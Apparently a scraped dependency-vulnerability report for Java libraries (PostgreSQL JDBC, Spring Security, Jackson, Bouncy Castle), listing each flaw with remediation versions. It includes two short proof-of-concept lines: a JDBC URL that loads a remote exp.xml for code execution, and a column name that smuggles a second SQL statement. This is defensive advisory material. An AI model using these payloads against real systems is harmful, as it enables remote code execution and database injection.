Upgrade com.fasterxml.jackson.datatype:jackson-datatype-jsr310 to version 2.9.8 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

Remediation

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Authentication Bypass. The strictness of the Spring Security and the Spring Framework request mapping may differ, which could lead to resources not being secured.

Remediation

Upgrade org.springframework.security:spring-security-config to version 4.1.1.RELEASE or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Pivotal Security Advisory

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Improper Authorization due to improper validation in the requestMatchers, leading to authorization rule misconfiguration when the application uses requestMatchers(String) and multiple servlets, one of them being Spring MVC’s DispatcherServlet.

Notes:

An application is only vulnerable when all of the following are true:

1. Spring MVC is on the classpath.

2. Spring Security is securing more than one servlet in a single application (one of them being Spring MVC’s DispatcherServlet).

3. The application uses requestMatchers(String) to refer to endpoints that are not Spring MVC endpoints.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.8.5, 6.0.5, 6.1.2 or higher.

References

• GitHub Commit
• GitHub Issue
• PoC
• Spring Security Advisory

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass. The strictness of the Spring Security and the Spring Framework request mapping may differ, which could lead to resources not being secured.

Remediation

Upgrade org.springframework.security:spring-security-web to version 4.1.1.RELEASE or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Pivotal Security Advisory

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Security Bypass. It was found that Spring Security does not consider URL path parameters when processing security constraints. By adding a URL path parameter with an encoded / to a request an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.2.10.RELEASE, 4.1.4.RELEASE, 4.2.1.RELEASE or higher.

References

• GitHub Commit
• GitHub Issue
• NVD
• Pivotal

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.1.7, 6.2.2 or higher.

References

• Advisory
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 6.1.7, 6.2.2 or higher.

References

• Advisory
• GitHub Commit

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.1.7, 6.2.2 or higher.

References

• Advisory
• GitHub Commit

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via forward or include dispatcher types.

An application is vulnerable when all of the following are true:

1. The application expects that Spring Security applies security to forward and include dispatcher types.

2. The application uses the AuthorizationFilter either manually or via the authorizeHttpRequests() method.

3. The application configures the FilterChainProxy to apply to forward and/or include requests (e.g. spring.security.filter.dispatcher-types = request, error, async, forward, include).

4. The application may forward or include the request to a higher privilege-secured endpoint.

5. The application configures Spring Security to apply to every dispatcher type via authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)

An application is not vulnerable if any of the following is true:

1. The application does not use authorizeHttpRequests() or the AuthorizationFilter.

2. The application does not forward/include requests.

3. The application does not need to configure Spring Security to apply to FORWARD and INCLUDE dispatcher types.

Workaround

Users who are unable to upgrade should use AuthorizeRequests().filterSecurityInterceptorOncePerRequest(false) instead of AuthorizeHttpRequests().shouldFilterAllDispatcherTypes(true).

Users with version < 5.7.0 which does not have shouldFilterAllDispatcherTypes available, should add an ObjectPostProcessor:

authorizeHttpRequests().withObjectPostProcessor(new 
 ObjectPostProcessor<AuthorizationFilter>() {
   @Override 
   public<O extends AuthorizationFilter> O postProcess(O filter) { 
    filter.setObserveOncePerRequest(false); 
    filter.setFilterAsyncDispatch(true); 
    filter.setFilterErrorDispatch(true); 
    return filter;
   }});

Note:

In Spring Security 5, the default behavior is to not apply the filters more than once to a request, therefore users have to explicitly configure Spring Security to do that. In addition, the FilterChainProxy is also not configured to be invoked on forward and include dispatcher types.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.6.9, 5.7.5 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Spring Documentation
• VMWare Advisory
• PoC in GitHub

Overview

org.springframework.security:spring-security-core package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass. The ActiveDirectoryLdapAuthenticator does not check the password length. If the directory allows anonymous binds then it may incorrectly authenticate a user who supplies an empty password.

Remediation

Upgrade org.springframework.security:spring-security-core to version 3.2.2.RELEASE, 3.1.6.RELEASE or higher.

References

• GitHub Commit

• GitHub Commit

• GitHub Commit

• Pivotal Security

• Redhat Bugzilla

Overview

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the BLS12_381BasicScheme.keyValidate path in BLS12_381BasicScheme.java. An attacker can be accepted as a signer in BLS aggregate verification by supplying an ECPoint built on a non-canonical ECCurve that shares BLS12-381’s field characteristic but forges a cofactor of 1. The vulnerable subgroup check trusts the point’s own curve object, so a point that is not actually on the canonical G1 curve can pass keyValidate and then contribute nothing to the pairing result. This lets an aggregate signature verify even though one of the listed public keys did not sign the message, causing phantom-signer acceptance in applications that construct authority-bearing keys from explicit curve objects.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.86 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

• An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
• Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.

PoC:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

Remediation

Upgrade org.postgresql:postgresql to version 42.2.26, 42.3.7, 42.4.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Errors.getFieldErrors() or Errors.getFieldError() accessors when rendering field errors with HTML escaping enabled. An attacker can inject arbitrary HTML or JavaScript code by supplying crafted input that is not properly escaped.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework.security:spring-security-crypto is a spring-security-crypto library for Spring Security.

Affected versions of this package are vulnerable to Generation of Predictable IV with CBC Mode via AesBytesEncryptor when using the two-argument constructor or specifying a null IV generator with CBC mode. An attacker can correlate encrypted values, determine when two records share the same plaintext, and mount dictionary attacks by pre-encrypting candidate values and comparing the results if they have read access to the encrypted data store.

Remediation

Upgrade org.springframework.security:spring-security-crypto to version 7.0.7, 7.1.1 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the deserialization process when handling properties annotated with both @JsonView and @JsonUnwrapped. An attacker can modify data that should be restricted to a higher-privileged view by supplying crafted JSON input.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Missing Authorization in the env actuator endpoint when no allow list is enforced for property keys. An attacker can modify arbitrary environment properties by sending crafted requests to the writable endpoint.

Note: This is only exploitable if the writable /actuator/env endpoint is enabled and accessible.

Remediation

Upgrade org.springframework.cloud:spring-cloud-context to version 5.0.3 or higher.

References

• Spring Security Advisory

Multiple licenses: GPL-3.0, LGPL-3.0, MPL-1.1